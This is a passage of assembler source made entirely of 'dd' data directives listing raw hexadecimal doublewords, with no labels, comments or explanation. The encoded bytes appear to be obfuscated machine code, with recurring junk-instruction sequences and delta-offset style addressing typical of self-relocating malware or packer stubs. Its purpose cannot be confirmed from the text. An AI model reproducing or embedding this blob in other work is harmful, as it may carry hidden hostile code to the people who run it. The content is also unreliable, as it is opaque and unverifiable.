6FDC562Dh, 3D476475h, 10E96666h, 80000000h dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 60BA9029h, 13E9h dd 0C5912D00h, 0B4C8AD15h, 72E0AA49h, 0D6748776h, 0BB9398E4h dd 19F1BD89h, 8D8B0607h, 6071465h, 3820Fh, 0BF0F0000h dd 9D2961F8h, 6070E29h, 1FAB70Fh, 73291BDh, 6E906h, 0AA90000h dd 0FAF5924Dh, 61DB58Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 9F2DD4C3h, 0AEC1328Ah dd 605BA30Eh, 1241B58Bh, 0C1810607h, 50C8D99Fh, 2DE78161h dd 0BE39C740h, 1E605C8Bh, 8E8h, 0E5A08B00h, 0FB83510Ah dd 7DB58BFCh, 8B060714h, 6A5FFAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0BF0BBFC3h, 4CEF26CDh dd 0D835BE6Eh, 0B50151EEh, 60718ADh, 68A0Fh, 0B58B0000h dd 6071355h, 0FFF6E4E9h, 7E8FFh, 0C3F0000h, 0A4DEC8B7h dd 6A605F89h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0B92AC352h, 0FFFFFFFEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0FCC35646h, 44842F14h dd 45E60CE0h, 0E890F32h, 0E9000000h, 9, 9AF1756Ah, 0E3349BBEh dd 98D2116h, 9060702h, 7030595h, 798D2106h, 6A060703h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 7DD2C356h, 3102B0FCh, 71A559Dh, 8DB58906h dd 8B060707h, 702098Dh, 890F06h, 83000000h, 850F01E1h dd 0Eh, 0CD9D8960h, 3306072Dh, 71749B5h, 8D8B6106h, 6070379h dd 0CD9D09F5h, 83060720h, 850F01E1h, 22h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h, 1EA202C0h dd 6061F9D1h, 2D41858Bh, 0FEB90607h, 6AFFFFFFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0B206C352h, 0D58D2131h, 0F06072Ch, 8D21F0BFh, 60719EDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 74C35040h dd 7024A8E9h, 0CF684BD3h, 0E8DFBF0Fh, 12h, 30B62CEBh, 786264CAh dd 2BC98462h, 478D294Dh, 5FF9698Ch, 2CD58D8Bh, 840F0607h dd 2, 0E183DA8Bh, 8850F01h, 66000000h, 3FBFD88Bh, 8B683B77h dd 719ED8Dh, 88F0F06h, 60000000h, 2E9DB589h, 83610607h dd 850F01E1h, 24h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0CFC35343h, 8D899F7Eh, 6071659h, 8D896061h dd 60715A9h, 0FFFFFEB9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0EF0A836Ah, 6E9A01E0h dd 918D21FAh, 6A06071Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0EE3BC355h, 0D115117Fh dd 0B589FB26h, 60706BDh, 13D8D21h, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2832BBC3h dd 5BE710B5h, 65BD0160h, 29060714h, 7122995h, 8D8B6106h dd 6071C91h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0BEC35242h, 29547760h, 714E595h, 1E18306h, 32850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 8B0874C3h, 0F5866F7h, 0B8Ch, 5850F00h, 66000000h dd 0BDEDB81h, 13D8D8Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 4171ACC3h, 8320DBA2h dd 850F01E1h, 24h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 12C35141h, 0BD8B557Fh, 6072D21h, 6A6061h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 8B9DFDC3h, 71AFD9Dh, 0FFFEB906h, 9D29FFFFh, 607332Dh dd 14F18D21h, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 5FC4AFC3h, 21E780E2h, 713518Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0E7B7418Ch, 20BDB58Bh, 8D8B0607h, 60714F1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 74C35343h dd 8AB4330Dh, 0FF55BB9h, 0E183F8B7h, 25850F01h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 15E0C350h, 74E8B1DAh, 0BF443131h, 13518D8Bh dd 83F50607h, 850F01E1h, 25h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 6CC35545h, 8B44535Ah, 72841BDh dd 6A606106h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 56B4C352h, 85C71955h, 6071815h dd 7D0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 47C35040h, 13E9h, 1337B400h, 9A4CBBBAh, 3A5846CBh dd 791EFA24h, 0A8C983FFh, 18099529h, 6A610607h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 2273C353h, 66849C16h, 969BF181h, 9D6107EBh, 0E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0E1A6190Dh, 66AF1F4Fh, 0BF66DF8Bh, 6A7830h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E9A35DC3h, 0Bh, 0A3CF97CDh, 5E379EAh, 8B529F45h, 104BEBC1h dd 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh dd 0C05800A6h, 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC8h, 0FBFE48h dd 41280000h, 7DD427E6h, 53E9C372h, 6A00000Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0F751C357h, 11BD8BDCh, 83060732h, 732B1BDh, 850F0006h dd 15h, 1265952Bh, 0B80607h, 8B000000h, 71E0595h, 4C206h dd 6AC08BF9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8199C355h, 0BFCB5EAh, 11BD8306h dd 60702h, 0BD830975h, 6070D65h, 50137400h, 0B8C08B53h dd 4D0h, 0A87C9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h dd 50117400h, 4D0B853h, 9D8D0000h, 609A7C9h, 585BD3FFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E6C35343h dd 9CAA3D23h, 6AF3D8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h dd 83ACEDC3h, 0FE15DCA4h, 499D295Bh, 0F060700h, 680h, 8C0F00h dd 8B000000h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0D9318C0Fh, 87D03B45h, 0F98D0B3Eh dd 8D06070Eh, 0B12D585h, 11850106h, 5006070Bh, 0A854BF66h dd 89240489h, 712359Dh, 92858D06h, 29060B12h, 72D7D85h dd 850F5006h, 2, 489F58Ah, 7E924h, 421A0000h, 0EF3FBBEBh dd 6195FF8Fh, 0E906072Fh, 0Bh, 0E168DD23h, 0B86A19F9h dd 8BEFA0B5h, 66042444h, 807736B9h, 858924F1h, 60B12BDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 61C35545h dd 0CA9C5C27h, 1E0DBD29h, 448B0607h, 85890824h, 6071331h dd 12D18589h, 0BD83060Bh, 6072161h, 0F8850F00h, 66000000h dd 0C69C02BAh, 7152585h, 0DC8A4706h, 0B0B68B68h, 8E8C7h dd 932A0000h, 548F814Dh, 0D1B57CABh, 2404815Fh, 0CE9F147h dd 98A0Fh, 66600000h, 668393BFh, 0FF61FA8Bh, 71CBDB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 717CC5Ch, 8D89CD11h, 6071879h, 14E9h, 21556E00h dd 0BA6E5AA9h, 594F4BC8h, 2FAB4549h, 23EA0DB5h, 0F4858DE1h dd 6A060A70h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 8A77C353h, 26CF819Ah, 895CCE0Dh dd 719059Dh, 29D0FF06h, 70E51BDh, 8589F906h, 6072161h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C6C35343h dd 0DCD3B304h, 95898EBAh, 6071935h, 8880Fh, 81510000h dd 402F56F3h, 81665968h, 83D181F7h, 73055BDh, 850F0006h dd 0AEh, 0C6D98B66h, 7152585h, 6A4706h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0BBBFC9C3h dd 6E9h, 0F27AA900h, 8BC99727h, 712A595h, 817A6806h, 0EFB9C435h dd 810BE890h, 34982434h, 0BD8B4E3Ah, 6072D7Dh, 1CBDB5FFh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 10CD1C3h, 8B7F4C0Eh, 71B1195h, 0F4858D06h dd 0E9060A70h, 0Bh, 0EC63E001h, 8F448180h, 811EAE51h, 52D6DBh dd 0FD0FF6Fh, 8166D3B7h, 89056CC2h, 7305585h, 1C12BF06h dd 0BD831ACEh, 6070DF1h, 95850F00h, 0B1000000h, 2585C6C8h dd 56060715h, 52D8509h, 2D680607h, 57CADE31h, 0E8616060h dd 13h, 30C15CDAh, 0A281B6EFh, 3B28D89Bh, 3F909495h, 5FE086AAh dd 34815A61h, 0C15C1424h, 43BF661Eh, 0B5FFF827h, 6071CBDh dd 12099D8Bh, 858D0607h, 60A70F4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0ABC35343h, 0ED89762Ch, 0A9FC644Ch dd 28598529h, 0D0FF0607h, 0E88A6057h, 8B0Fh, 59610000h dd 0DF18589h, 0BD010607h, 6072119h, 152585C6h, 816C0607h dd 270A11E2h, 7FA76817h, 0F18A5DD0h, 0DC240481h, 897D34F0h dd 72E459Dh, 39B5FF06h, 89060729h, 718C19Dh, 8D858D06h dd 6A060738h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0CEBFC350h, 89BB4128h, 70E0585h dd 0A58D8906h, 0FF060716h, 0C78166D0h, 8589492Fh, 60B12C1h dd 0C599D01h, 46A0607h, 0EC19589h, 8E80607h, 0B0000000h dd 0EEC2E1C3h, 60D6EEA0h, 8E8h, 68BF0000h, 3B177B3h, 616058AAh dd 4E85B61h, 0 dd 0B6000010h, 0B9B250AEh, 424448Bh, 0C56CB966h, 0DE9008Bh dd 6F000000h, 11528E51h, 0A5178A52h, 0ABFA7B0Fh, 4244489h dd 0E858DA8Bh, 0Ch, 367A758Dh, 7B59C117h, 728D42DCh, 0DE9h dd 0C2226700h, 67911F71h, 8C3A7055h, 685A39F2h, 0D00013BBh dd 45240481h, 0E83000ECh, 0Ch, 93AFC2A8h, 0BCA5F260h, 8BE65AB1h dd 0D218529h, 6A5A0607h, 0FF8FB300h, 7264195h, 68B0F06h dd 89000000h, 70CFD9Dh, 0CD858906h, 57060B12h, 0DE8h, 9DC5800h dd 68BA8E89h, 26DEFAE4h, 8B6650BAh, 6A5B5FD3h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 958BC2AAh, 6072E35h, 2B9CC68h, 24348165h, 6503B9CCh dd 0DC9B589h, 0CE90607h, 50000000h, 0EEEE4810h, 0C96407B4h dd 508B3E4Bh, 59CEB650h, 66240489h, 0BA69E281h, 0FE9h dd 0A101C900h, 3319A06Fh, 0CB00FF00h, 2D4754h, 95890B6Ah dd 6070EC1h, 129A858Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0C49AB7C3h, 88C5858h dd 1DD9958Bh, 0F900607h, 278Fh, 6E86000h, 0A5000000h, 202D6759h dd 14E95EE5h, 55000000h, 495006B8h, 0B889FBDEh, 0DEE47CCAh dd 0A395E868h, 610006E8h, 905F5750h, 1850Fh, 0FFFC0000h dd 7216195h, 8810F06h, 53000000h, 1825BD8Bh, 8D5B0607h dd 0B12A4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0B71547CCh, 0ADB5315Bh, 96060703h dd 8A50FD8Ah, 9D8996C8h, 6071CB9h, 0D08B6690h, 90F88B50h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 72C35343h dd 0BE9C90DBh, 604330A5h, 1E458D89h, 9D890607h, 6071235h dd 5595FF61h, 29060730h, 73081B5h, 0FD0FF06h, 8Ah, 0CDB58B00h dd 6A060B12h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 49D9C353h, 32F19DC5h, 0B70F0B56h dd 0C585C7CEh, 60B12h, 8B000000h, 7211995h, 207E8006h dd 21840F00h, 89000003h, 7003595h, 6A6006h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 241F9EC3h dd 0FE9h, 9454FA00h, 0ED85131h, 817FDE25h, 745DEEC9h, 4850Fh dd 0BB660000h, 468D82F2h, 5DBD8920h, 8906072Eh, 0B12C985h dd 89B53106h, 0E9060700h, 2Ah, 2FF58D33h, 6A400607h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 40DCC356h, 0EC98D01h, 38800607h, 0D3850F00h, 0FFFFFFFh dd 958BFABFh, 6070DCDh, 4BE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 93B99289h dd 0C690C5CAh, 0F9FC8B36h, 55006A48h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0C124574Bh dd 4AC580A8h, 0F5C3880h, 6884h, 0D98B6600h, 2F3880F9h dd 5B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 611CE2C3h, 9D6A31Bh, 29BA6633h dd 0C9853B9Bh, 0F060B12h, 0FFFF9383h, 57006AFFh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 5AAA0B8Ch, 0A7A8D2A1h, 8B66149Ah, 8A0F40CEh, 0Ch, 7E9h dd 169C6800h, 2E844966h, 12D1BD83h, 0F00060Bh, 9284h, 0C99D8B00h dd 8A060732h, 0BB6650F4h, 4892701h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 512B1DBEh dd 0B9477632h, 5E85A542h, 12D18503h, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0DE519FC3h dd 2AFF0AF3h, 0FA8BEFF7h, 6A0000C6h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E0CFC351h dd 0F87ACE21h, 958D8B58h, 66060704h, 9008FEBAh, 0EA1DB966h dd 8B525050h, 66310FDFh, 585ADE8Bh, 0B9BD8990h, 2906070Ch dd 718DD95h, 0BDB5FF06h, 89060B12h, 7189D9Dh, 0C195FF06h dd 66060B12h, 0C00BCB8Bh, 0A6850Fh, 57570000h, 0E6ACD181h dd 5B5F434Eh, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0A9C94280h, 51C64572h, 0E381FB07h dd 314B3813h, 85C7D08Bh, 60B12C5h, 1, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 69C35747h, 0BCF0F39h, 68B0F2Fh dd 89000000h, 715F1B5h, 0CEBA6606h, 62E91Eh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 318729C3h, 0EC879EC2h, 2D958BC4h, 0BB06070Ch, 428A0593h dd 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0FC9114Bh, 0C681D6B7h, 11Ch, 13F18166h dd 0FCD7E981h, 0CF8BFFFFh, 92CF7E68h, 13E8B3h, 5EAB0000h dd 0FA415917h, 15B74F09h, 35FC7027h, 88D508Ah, 14E9AAh dd 0EBF80000h, 1603FD59h, 0FB8B0C73h, 0C246E524h, 0C33FBFADh dd 815B9C66h, 0B0822404h, 81664C6Dh, 6A56B7D7h, 0C9BD8B00h dd 0FF060711h, 0B12CDB5h, 0D08B6606h, 0DF195FFh, 958B0607h dd 6070645h, 12C5858Bh, 9E9060Bh, 0AC000000h, 0B0CF308h dd 80C98B2Ah, 50D98B90h, 6A905CB1h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0EAC6C356h dd 5984722Eh, 0D5858DE0h, 50060B12h, 0FE85250h, 59000000h dd 0BE6ED6AEh, 2BFC1E07h, 798FDCF6h, 49BF6BDEh, 5B4F9BF9h dd 33BB310Fh, 5A236A5Fh, 24048958h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0A3C35747h, 0F7402AAh, 0BD8BD1B7h dd 6071E45h, 0C2EA8166h, 92858D1Bh, 81060B12h, 31CEFF7h dd 9E9502Ah, 0 dd 75268366h, 53321C65h, 0BA240489h, 0BA9D632h, 44D95FFh dd 10E90607h, 6B000000h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh dd 8B4492E2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 7335D7D4h, 958B9455h, 607187Dh, 211BD83h dd 75000607h, 65BD8309h, 6070Dh, 53501374h, 0D0B8C08Bh dd 8D000004h, 9A8E39Dh, 5BD3FF06h, 65BD8358h, 6070Dh, 53501174h dd 4D0B8h, 0E29D8D00h, 0FF0609A7h, 6A585BD3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 847BC356h, 727A2980h, 89FC9278h, 72C79B5h, 0CEBA6606h dd 6AC08B66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 9308C355h, 5AADBF2Bh, 51B501EAh dd 58060704h, 1850F56h, 0F9000000h, 8C25Ah, 3169958Bh dd 0C08B0607h, 1306858Dh, 0BF0F060Bh, 0A58589DEh, 0E9060718h dd 75h, 0D88C6660h, 840F04A8h, 35h, 0B5FF016Ah, 6072939h dd 70F4858Dh, 0D0FF060Ah, 0A898589h, 0FE8B0607h, 680CEFC1h dd 20040000h, 26A006Ah, 0D6857h, 95FF0001h, 6070A89h, 32E9h dd 2585C600h, 56060715h, 0C530DF68h, 0BDB5FFA9h, 8D06071Ch dd 0A70F485h, 89D0FF06h, 7283185h, 0A9858D06h, 50060728h dd 56A206Ah, 3195FF56h, 61060728h, 6E0C1C3h, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 158F0FC8h, 0E9000000h, 10h, 0B004CD05h, 60EA781Ah, 0B975A2E3h dd 3D92C5BCh, 14E9h, 5386AF00h, 76DF5AF0h, 0DB34538Ah dd 0B36630C2h, 77F96735h, 0BEC08BA7h, 5EA73EC9h, 211BD83h dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 38B8C08Bh dd 89000004h, 7302D85h, 0A89D8D06h, 0FF0609AAh, 83585BD3h dd 70D65BDh, 17740006h, 38B85350h, 89000004h, 7302D85h dd 979D8D06h, 0FF0609A7h, 6A585BD3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 71A7C353h dd 0C809DD4Ah, 1E7039F0h, 1B8CD181h, 6A2F69h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 649459C3h dd 0B5895B84h, 60727F5h, 0AE73B966h, 8D8BC08Bh, 607025Dh dd 88BE8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 804A82E2h, 882E8BFh, 5E18589h, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 67D726C3h, 0B2C23DCBh, 0E8D0D137h, 838h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 48C35343h, 65B9ECCAh dd 744A3E28h, 1B418531h, 85890607h, 6071559h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B3C35242h, 0E5E8C685h dd 6A000007h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 43A7C352h, 0DDF04C19h, 27598589h dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0EE01ECC3h, 91FD8765h, 13E88D35h, 8D000000h dd 0D96B3666h, 323E60AFh, 537B966Dh, 17810597h, 8C0F3962h dd 5, 0E2EF8166h, 71E85FE2h, 0BF000007h, 0FDFA498h, 3198589h dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 1ED1BDC3h, 0A6A51C86h, 7E9h, 99B7900h, 5B3892CEh dd 5D78E9BEh, 72EE846h, 85290000h, 6072F3Dh, 312D8589h dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 6D2728C3h, 5D56EC79h, 0F11CBE52h, 0E8597FB2h dd 6F4h, 184DB589h, 85890607h, 60713D5h, 0EE9h, 0AE6B6D00h dd 0C5AE8610h, 0A21538FCh, 0E8B674A7h, 6D0h, 85895953h dd 6070B09h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 7AC35747h, 746DD8C6h, 60546464h, 2E85B58Bh, 0F9600607h dd 95E86161h, 6A000006h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 7AE8C352h, 8509642Bh dd 6070389h, 26D8589h, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 9A6D4EC3h, 0E863B9C2h dd 12h, 20703B25h, 0CC3C0BCEh, 0FDE4F1F7h, 88A2BC60h, 0BF665DA8h dd 8B59186Eh, 706E1B5h, 622E806h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0AEC827C3h dd 92BD1157h, 3DBD8945h, 8906070Fh, 7128D85h, 0F28B6606h dd 5EBE8h, 91B58B00h, 89060728h, 7214D85h, 0EDBD0306h dd 0E8060705h, 5D4h, 5DCE2BBEh, 0D5858965h, 6A060719h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0D7AC356h, 7289E569h, 8BA01365h, 59EE8F1h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 2201D8C3h, 8316534Ch, 4E19D89h, 8F0F0607h dd 1, 0D8589F9h, 6A060701h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 9C0C355h, 70A6DBDh dd 542E806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 5592EDC3h, 0B2827FDh, 7011D8Dh dd 8589F506h, 607045Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 19C35747h, 6691CD40h, 0E8A0D9B9h, 4ECh dd 19598D03h, 85890607h, 6071A49h, 4DBE8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 27D585E0h, 0E89007B0h, 5E9h, 65C31400h, 8166B25Ah, 89197FEEh dd 70CDD85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0FB3CA8D1h, 391C5A47h, 28ADBD33h dd 75E80607h, 6A000004h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0E6B6C350h, 8D19A2DFh dd 66A2F237h, 0A56DD681h, 54D8589h, 0DF810607h, 71AF65DDh dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 68BBA6C3h, 0BE820E1Fh, 0BE398DB3h, 710C49F4h dd 0BADB529h, 0B60F0607h, 50006AD8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0D3E5DBEDh dd 0D78166EEh, 6BA82BBh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 8D33C353h dd 4B4B64B9h, 498D31E0h, 8B06072Fh, 53006AC3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 20717DD9h dd 16398D8Bh, 0E8C10607h, 0E2F76604h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0D2C35545h, 0D82B8873h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9C35141h, 65BE04F7h dd 0F78F8D6h, 5093F3BFh, 0EDFFBA60h, 9E85ADAh, 9A000000h dd 71F3DB33h, 0AF645D5Eh, 61585E56h, 0FFF88B93h, 7186195h dd 92BA6006h, 291360E4h dd 7277185h, 295B6106h, 72E8595h, 4D958D06h, 6A060729h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 8A6BC353h, 0E0D1E736h, 850F7BD3h, 3, 89F3B70Fh dd 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 6272341Ch, 2C55BD8Bh, 42890607h, 56006A04h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B966DD3Ah, 8B6638E5h, 69958DF9h, 6A060713h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 66B0C351h, 1A89F28Bh, 0B860Fh, 860F0000h, 5, 7AE18166h dd 44289BAh, 0AE8h, 0FD1F6D00h, 0F7543B39h, 0FA079E9h dd 185h, 8D5EFC00h, 7329995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FC644CEDh dd 8349EFA9h, 1685BD8Bh, 1A890607h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0FFC35646h, 0BEC5603Ch, 0F1B58B60h dd 8B06071Ah, 71589BDh, 42896106h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 619E5414h dd 377A5C85h, 85099C89h, 60706E5h, 31B9958Dh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 89ECBAC3h, 0E0E37E4Bh, 1A89C0F5h, 23E78166h, 44289A7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CFC35545h dd 0F6ADE321h, 1BF5DD1Eh, 0BDB58B97h, 8D06070Bh, 71FAD95h dd 7D8D0306h, 89060714h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E59BD561h, 0E9BD8B93h dd 66060723h, 4289F98Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C23B9FE4h, 60A2E4D0h dd 0B780E781h, 0A2B10F58h, 2DBD958Dh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 967E34C3h, 6A1A89F5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 62D4C357h, 25B58BC8h dd 8B060701h, 71D69BDh, 4428906h, 0DBC18166h, 49958D01h dd 0E9060727h, 0Dh, 0E5BFB390h, 6732E88Fh, 0B369137Ch dd 6A1A89A6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 8A52C350h, 7B0FA517h, 68B0Fh dd 8D8B0000h, 60704C1h, 8B044289h, 70CB1BDh, 21958D06h dd 89060706h, 70B3DB5h, 0F9BF0F06h, 95891A89h, 6073081h dd 6A044289h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 4045C351h, 0A043A039h, 0ABE96Dh dd 56B10000h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 635580C3h, 6ACFBF0Fh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 99D8903h, 6A06071Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 16779207h, 0BFD852DFh dd 42C389B3h, 0FFFC006Ah, 71D2195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 1DBD8BF9h dd 29060728h, 727F5B5h, 618D2B06h, 0C3060715h, 6AC58AF9h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 653FC355h, 5AE2E95Eh, 7E9C6E9h, 6000000h dd 738EEEAh, 